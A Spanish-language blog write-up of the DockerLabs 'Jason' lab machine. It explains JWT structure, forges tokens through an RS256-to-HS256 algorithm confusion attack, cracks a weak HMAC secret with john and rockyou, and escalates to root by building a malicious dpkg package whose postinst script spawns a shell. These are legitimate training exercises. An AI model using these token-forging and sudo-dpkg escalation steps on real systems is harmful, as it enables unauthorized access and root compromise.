Post

Jason, DockerLabs

portada

Herramientas y recursos

En este reto de DockerLabs vamos a explotar dos vulnerabilidades de JWT (jason web token).

Tecnicas Herramientas
scan de puertos nmap
JWT Decoding & Claims Analysis jwt.io token.dev
Algorithm Confusion Attack (RS256 to HS256) jwt.io token.dev
Weak HMAC Secret (Brute Force) john , rockyou
Abuso de Binarios Sudo (dpkg) Terminal Bash, dpkg-deb

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX jason 172.17.0.3

reporte

Como muestra el reporte tenemos el **el 22 ssh y el 5000 ** , entramos a la web y vemos que necesitamos crearnos una cuenta.

Nos logueamos y nos abrimos en herramientas desarollador y en application localstorage tenemos el valor de jwt_token , lo copiamos y lo llevamos a analizar token.dev

Lo copiamos de el navegador o de alguna respuesta a traves de caido o burp.

token

Lo pegamos arriba y nos lo decodifica , al final son tres cadenas de base64URL no es lo mismo que base64 por los simbolos + y / que podrian romper urls:

  • Header: contiene el typo , el algoritmo de encriptacion, en nuestro caso de lab , pero puede llevar :

    • kid: (Key id) si el server tinene varias llaves para que sepa cual usar ,este id lo define
    • jwk: (Jason web key) El lugar de usar un id como antes ,este se usa para incluir la llave publica completa
    • jku :(JWK Set url) Es una url que aloja un conjunto de llaves
    • crit: (Critical):Es una lista (array) de nombres de encabezados que el receptor está obligado a entender y procesar. Si el receptor ve un campo en crit que no reconoce, debe rechazar el token por seguridad.
  • Payload: Es un conjunto de datos en formato jason que contiene los datos que el servidor espera recibir o no . Extracto de gemini.
    • sub (Subject): El ID del usuario. Es el dato más importante. No pongas el nombre (que puede cambiar), pon el ID único de la base de datos.

    • iss (Issuer): Quién generó el token (ej. https://auth.tuapp.com).
    • aud (Audience): Para qué aplicación o API es este token. Si la API de “Pagos” recibe un token cuya audiencia es “Chat”, debe rechazarlo.
    • exp (Expiration): Fecha de caducidad en formato Unix timestamp. Después de este segundo, el token es basura.
    • iat (Issued At): Cuándo se creó. Útil para saber qué tan “viejo” es el token aunque no haya caducado.
    • nbf (Not Before): El token no es válido antes de esta fecha. Útil si programas un acceso para el futuro.
    • jti (JWT ID): Un identificador único para este token específico. Sirve para “quemar” tokens y evitar que se usen dos veces.

    Estos de arriba son los registrados y como publicos podria ser cualquier nombre o datos que el servidor necesite.

    1
    2
    3
    4
    
    "name": "Alex Smith",
    "role": "admin",
    "premium_user": true,
    "tenant_id": "empresa_123"
    
  • Signing key: El nombre lo deja claro

decodetkn

Como vemos en la imagen de ariba tenemos el token de una forma visual y entendible por un lado el header , payload y mas hacia abajo la llave publica y una mal generada de la privada.

Despues de tratar con alg:none sin ningun exito vamos a crear nuestro ataque de Algorithm Confusion Attack que sucede cuando el server no valida que algoritmo esta usando para verificar una firma.

Tenemos el rs256 que es asimetrico es decir usa clave publica y privada, por otro lado el hs256 que es simetrico usa la misma clave para cerrar como para abrir.El engaño sucede cuando el server recibe nuestra peticion con el algoritmo cambiado a uno simetrico en este caso HS256 lo que hace que use la misma clave con la que lo firmamos. MAs o menos explicado ahora a ver si es verdad

Navegando por la web encontre una filtracion ,nada importante

filtracion

Siguiendo con el reto y aclarando los puntos

  • Obtener la clave puiblica para firmar qu tenemos dos opciones una .well-known/jwks.json y otra en public.pem desconozco pq estan las dos imagino que para no realizar algun decode extra, en jwks.json lo tenemos ya directo en b64 y en el otro con cat public.pem base64 “no se como escapar el pipe me rom,pia la web” obtenmos lo mismo que es la cadena en b64 para firmar con la calve publica.

  • Cambiar el algoritmo de RS256 a HS256
  • Modificar los campos requeridos en payload
  • Si han estado investigando o tomando birras mientras hacian el reto cambien tambien el expiration

tokengod

Una vez listo lo pego en el mismo lugar donde lo encomtre appliction Localstorage y doy a refrescar. Nos felicita y nos da acceso al nivel 2.

level2

Ni bien entramos ya nos da una pista fuerza bruta:

pista

Asi que vamos a tratar de pillar el token que se nos genera con la sesion de guest lo crakeamos con john de ripper y nos generamos uno con privilegios.

Ahora haciendo un basde64 sobre el payload del token obtengo los campos que necesitaremos modificar para creae y firmar el nuestro.

datal2

Solo falta crackearlo.

1
john --format=HMAC-SHA256 --wordlist=/home/firstatack/Descargas/rockyou.txt level2_token

john

Ahora a ver como carajo lo monto y lo firmo ,la web en que lo cree antes no me andubo bien pero en la otra jwt.io me genero uno que funciona (creo que los errores se deben a la validacion de los campos de entrada de la firma , cada uno espoera una cosa).

payload2

Como veis en la imagen añadi el campo extra user dado que me daba un error la web , ese campo no estaba incluido en la respuesta del server una vez hecho todo creado y pegado en el navegador damos refresh y vuala

level2end

Nos ganamos el ssh vamos alla.

Una vez dentro podemos ver que nos haa dejado dpkg para abusrlo con sudo, a mi la escalada sencilla con el paginado less no me funcionaba es como si no fuera interactivo pese a que le metia el comando y no daba error simplemente seguia con su lista de paquetes asi que tuve suerte con el plan b.

  • Creamos un script que nos de un shell:
1
echo -e '#!/bin/bash\n/bin/bash -i' > /tmp/setup.sh && chmod +x /tmp/setup.sh
  • Creamos una ruta de directorios:
1
mkdir -p /tmp/hack/DEBIAN
  • Creamos un archivo que es el encargo de de darle las instrucciones al gestor de paquetes
1
echo -e "Package: hack\nVersion: 1.0\nArchitecture: amd64\nMaintainer: root\nDescription: hack" > /tmp/hack/DEBIAN/control
  • Movemos nuestro script como si fuese uno postinstalacion que es el que contiene nuestro codigo amigable
1
cp /tmp/setup.sh /tmp/hack/DEBIAN/postinst
  • Construimos el paquete y instalamos.
1
2
dpkg-deb --build /tmp/hack
sudo dpkg -i /tmp/hack.deb

builddeb

Obtenemos la tan ansiada shell de root

root

Hasta aqui esta maquinita que me ayudo a aprender sobre jwt cosa que desconocia , me costo un poco pero divertida la lectura . saludos

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.